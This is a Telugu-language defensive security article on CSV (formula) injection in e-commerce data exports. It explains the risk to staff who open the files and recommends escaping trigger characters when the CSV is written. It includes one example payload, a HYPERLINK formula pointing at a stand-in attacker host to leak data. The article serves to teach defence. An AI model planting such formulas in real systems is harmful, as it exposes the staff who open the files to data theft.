CSV ఇంజెక్షన్: కోడ్ను రన్ చేసే ఎక్స్పోర్ట్ బటన్
ఒక కస్టమర్ తన పేరును నమోదు చేస్తారు. వారు =HYPERLINK("http://evil.example/leak", "click") అని టైప్ చేస్తారు. మీ సిస్టమ్ దానిని అంగీకరిస్తుంది. అది మామూలు టెక్స్ట్లా కనిపిస్తుంది.
కొన్ని వారాల తర్వాత, మీ ఫైనాన్స్ టీమ్ కస్టమర్ జాబితాను CSVకి ఎక్స్పోర్ట్ చేస్తుంది. వారు ఆ ఫైల్ను Excelలో ఓపెన్ చేస్తారు. ఆ సెల్ ఇకపై టెక్స్ట్ కాదు. అది ఒక ఫార్ములా.
దీనినే CSV ఇంజెక్షన్ అంటారు. దీనిని ఫార్ములా ఇంజెక్షన్ అని కూడా పిలుస్తారు. ఇ-కామర్స్ ప్యానెల్లలో ఇది ఒక సాధారణ బగ్. చాలా టీమ్లు దీని కోసం పరీక్షించరు.
స్ప్రెడ్షీట్ యాప్లు ప్రతి సెల్ను టెక్స్ట్గా పరిగణించవు. ఒక సెల్ =, +, -, లేదా @ తో మొదలైతే, Excel లేదా Google Sheets దానిని ఫార్ములాగా చదువుతుంది.
ఒక ఫార్ములా గణితం కంటే ఎక్కువ చేయగలదు. అది ఒక URLను నిర్మించగలదు. అది నెట్వర్క్కు కనెక్ట్ కాగలదు. కొన్ని సందర్భాల్లో, అది కంప్యూటర్లో కమాండ్లను రన్ చేయగలదు.
డేటా మీ డేటాబేస్లో టెక్స్ట్గానే ఉంటుంది. ఒక మనిషి ఆ ఫైల్ను ఓపెన్ చేసిన క్షణమే అది ఎగ్జిక్యూటబుల్ (executable) అవుతుంది. సాధారణంగా, అధిక యాక్సెస్ స్థాయిలు ఉన్న సిబ్బంది దీనికి బాధితులు అవుతారు.
మీరు యూజర్ డేటాను ఎక్కడ ఎక్స్పోర్ట్ చేసినా ప్రమాదంలో ఉన్నట్లే:
- కస్టమర్ పేరు మరియు చిరునామా ఎక్స్పోర్ట్లు
- CSVకి ఎక్స్పోర్ట్ చేయబడిన ఆర్డర్ గ్రిడ్లు
- వెండర్ల నుండి వచ్చే ప్రొడక్ట్ ఫీడ్లు
- కాంటాక్ట్ ఫారమ్ డంప్స్
అటాకర్ (Attacker) కి అడ్మిన్ యాక్సెస్ అవసరం లేదు. వారు తమ పేరును ఫార్ములాగా సెట్ చేసి వేచి ఉంటారు.
దీనిని ఇన్పుట్ వాలిడేషన్ (input validation) సమయంలో సరిచేయడానికి ప్రయత్నించకండి. స్ప్రెడ్షీట్ దానిని చదివే వరకు ఆ విలువ సరైన టెక్స్ట్గానే ఉంటుంది. దానికి బదులుగా, మీరు CSV ఫైల్ను రాసేటప్పుడు డేటాను శానిటైజ్ (sanitize) చేయండి.
ఒక సెల్ =, +, -, @, ఒక ట్యాబ్ (tab), లేదా క్యారేజ్ రిటర్న్ (carriage return) తో మొదలైతే, దాని ముందు ఒక సింగిల్ కోట్ (') జోడించండి.
ఉదాహరణ లాజిక్:
ఒకవేళ విలువ ట్రిగ్గర్ క్యారెక్టర్ (trigger character) తో మొదలైతే, "'" + value ని రిటర్న్ చేయండి.
సింగిల్ కోట్ ఆ సెల్ను టెక్స్ట్గా పరిగణించాలని స్ప్రెడ్షీట్కు చెబుతుంది. స్ప్రెడ్షీట్ ఆ కోట్ను యూజర్కు కనిపించకుండా దాచిపెడుతుంది. ప్రతి ఫీల్డ్ ఫైల్లోకి వెళ్లే ముందు ఈ తనిఖీని చేయండి.
మీ డేటాబేస్లో డేటాను ఎస్కేప్ (escape) చేయకండి. మీ డేటాబేస్లో మరియు మీ HTMLలో ఆ విలువ సరిగానే ఉంటుంది. అది కేవలం CSVలో మాత్రమే ప్రమాదకరం. మీ డేటా ఇతర చోట్ల క్లీన్గా ఉండటానికి CSV బౌండరీని (boundary) కాపాడండి.
మీ అంతర్గత ఎక్స్పోర్ట్లను నమ్మడం ఆపండి. అటాకర్లు ఈ ఫైళ్ల ద్వారా మీ సిబ్బందిని లక్ష్యంగా చేసుకుంటారు.
CSV ఇంజెక్షన్ భయంకరమైన స్కానర్ అలర్ట్లను ఇవ్వదు. మీరు సంవత్సరాల క్రితం నిర్మించిన ఎక్స్పోర్ట్ బటన్లో ఇది దాగి ఉంటుంది. మీ CSV ఎక్స్పోర్ట్ కోడ్ను ఇప్పుడే తనిఖీ చేయండి. ప్రతి సెల్ యొక్క మొదటి క్యారెక్టర్ను మీరు కాపాడకపోతే, మీరు ప్రమాదంలో ఉన్నట్లే.
